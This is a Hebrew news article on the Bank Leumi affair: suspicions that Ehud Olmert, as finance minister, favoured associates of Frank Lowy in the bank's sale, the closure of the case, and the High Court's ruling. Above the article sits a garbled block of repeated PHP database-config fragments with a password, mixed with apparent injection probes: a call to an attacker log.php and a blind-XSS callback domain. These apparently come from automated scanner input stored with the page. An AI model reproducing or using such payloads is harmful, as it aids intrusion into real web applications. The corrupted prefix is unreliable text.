$db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "1ySf9n9nO"; ?> $db_host = "1" $db_host = "1"; $db_user = "pHqghUme"; $db_pass = "g00dPa$$w0rD"; $db_name = "19342244"; ?> ?>acker-9434/log.php?"; ?>{acx}}%>"; ?> $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?> $db_name = "1"; ?>b_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?>>'hitvtgywpoinqc09d0.bxss.me')")"; $db_pass = "g00dPa$$w0rD"; $db_name = "1"; ?> ?>
אולמרט ובנק לאומי
בתקופת כהונתו של אהוד אולמרט כשר אוצר, הליך מכירת מניות המדינה בבנק לאומי היה בתנועה ובבדיקה. אולמרט נחשד כי פעל, בכהונתו כשר האוצר בשנת 2005, לשם מכירת מניות המדינה בבנק לאומי לקבוצת מקורביו בראשות איש העסקים האוסטרלי פרנק לואי.
משפחת לואי והקבוצה העסקית שהתגבשה עמו לשם רכישת הבנק יוצגה על ידי משרד עורכי הדין גרוס-חודק - ופרופ' יוסף. בתו של יוסף גרוס נשואה לבנו של אולמרט. הקשר המשפחתי הזה האמור לפסול את אולמרט מלדון במכירת מניות הבנק, לאור החשד לניגוד עניינים לא דווח על ידו לגורמים שעסקו במכירה.
בדיקה וחקירה
ירון זליכה, החשב הכללי באותה תקופה, פנה בחשאי למבקר המדינה ושיתף אותו בהתנהלותו של אולמרט. בוצעה בדיקה מעמיקה. ממצאיה הועברו ליועץ המשפטי לממשלה שהחליט שיש מקום לפתוח בחקירה פלילית לבירור החשדות למרמה והפרת אמונים שיוחסו לאולמרט.
בסופה של חקירה ממושכת החליט פרקליט המדינה לסגור את התיק בשלהי 2008, לאחר שקבע כי הגם שהיה מקום לקיים את החקירה, בסופו של יום חקירת המשטרה לא ביססה את החשד בדבר ניסיונו של אולמרט להטות את הליך המכירה לטובת לואי. לדור קבע כי אולמרט היה נגוע בניגוד עניינים במספר מעגלים, ואולם קבע כי ניגוד עניינים זה איננו עולה כדי עבירה פלילית של מרמה והפרת אמונים.
עתירה לבג"צ
תנועת אומ"ץ עתרה לבג"צ ודרשה לפסול את החלטת פרקליט המדינה ולהורות לו להגיש כת ב אישום נגד אולמרט. בג"צ קבע בתחילת אוגוסט כי החלטת פרקליט המדינה לא תתבטל הואיל "והחשדות שהועלו נגדו נבחנו בחינה דקדקנית, רצינית ויסודית. חוות הדעת מנומקת ומפורטת כדבעי, ולכן אין הצדקה להתערבות בית המשפט בהחלטה .
בנוגע לסוגיה בדבר קשרי חברות אישיים של נבחרי ציבור המבססים ניגוד עניינים המהווה גם הפרת אמונים, קובעת השופטת ארבל כי "השילוב של קשרי חברות וקשר כלכלי יש בהם כדי להצביע על ניגוד עניינים מובהק. יחד עם זאת, מדובר בשילוב שהוא אינדיקציה בלבד, גם אם משמעותית. ניגוד עניינים חריף, שיעלה כדי אותו פן מחמיר הנדרש לצורך ביסוס העבירה של הפרת אמונים יכול שיתקיים בנסיבות מסוימות גם בלא שיתקיים קשר כלכלי ואף בלא שניתן להצביע על 'הדדיות' במערך הטובות הניתנות מאיש הציבור לידיד, ובחזרה".
השופטים אימצו חלק מקביעותיו של פרקליט המדינה בהחלטתו לסגור את תיק אולמרט בפרשת בל"ל - ובכך נתנו תוקף של פסק דין להכרעותיו בנושא עוצמת ניגוד העניינים הנדרשת לצורך ביסוס עבירת הפרת האמונים.
בסיום פסק דין מותחת כאמור ארבל ביקורת על התנהלותו של אולמרט בפרשה, אף שהיא איננה מורה להעמידו לדין בגינה. "התמונה המצטיירת מהראיות שישנן, מדאיגה. המצב שבו מעגלים משפחתיים וחבריים משחקים בערבוביה כאשר על הפרק עומדת מכירת נכסי מדינה שבשוויים ובמשמעותם ליציבות המשק אין להקל ראש, אינו תקין. בהתנהלות שתוארה יש יותר מטעם לפגם"